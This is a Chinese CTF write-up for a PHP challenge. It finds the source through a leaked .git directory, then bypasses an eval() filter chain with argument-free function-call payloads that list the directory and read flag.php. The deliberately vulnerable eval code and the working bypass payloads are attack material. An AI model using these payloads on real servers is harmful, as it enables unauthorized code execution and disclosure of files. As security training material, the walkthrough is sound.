打开题目
页面就一句话,查看页面源代码也没有信息,尝试文件读取也行不通,所以使用ctf-wscan脚本扫目录。ctf-wscan下载地址
可以看到存在".git"目录,那这道题就存在git源码泄漏。所以用GitHack去获取源码。GitHack下载地址
打开下载好的index.php源码。
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
- 这里存在三重过滤,第一重过滤了读取文件的伪协议,所以没法直接读文件。
- 第二重使用正则表达式将匹配到的内容置空,经过preg_replace()处理完之后只留下一个分号才能进入下一层if。
- [a-z,_]匹配小写字母a到z和下划线,+就是多次匹配。
- "\"转义符。
- (?R)代表当前表达式,即[a-z,_]+\((?R)?\)
- (?R)?表示递归执行当前表达式0次或1次。
经过分析,这个正则会递归匹配小写字母或下划线加上一对小括号形式。在本地测试一下。
但如果小括号里的内容不是字母加上括号的形式就无法匹配。
这样我们就只能使用无参数的函数来攻击,也就是无参数RCE。
最后一层过滤了一些字符串,有些函数用不了。所以构造的payload为:
?exp=print_r(scandir(current(localeconv())));
解读一下:
- localeconv()函数返回一个包含本地数字及货币格式信息的数组。该数组第一个值是一个点"."
- current() 函数返回数组中的当前元素的值。初始指针通常指向第一个元素,所以current(localeconv())就会返回"."
- scandir() 函数返回指定目录中的文件和目录的数组。当传入参数为"."时就会返回当前目录中的所有文件
- print_r()函数就是打印
- 所以执行这条payload之后就会打印出当前目录下的所有文件
flag.php在当前数组的第三个位子,但没什么函数能直接读第三个值。
?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
当目标文件不在特殊位置的时候可以用array_rand()和array_flip()函数搭配使用。
- array_rand() 函数返回数组中的一个随机键名
- array_flip() 函数用于反转/交换数组中的键名和对应关联的键值
使用这条payload刷新几次就能得到flag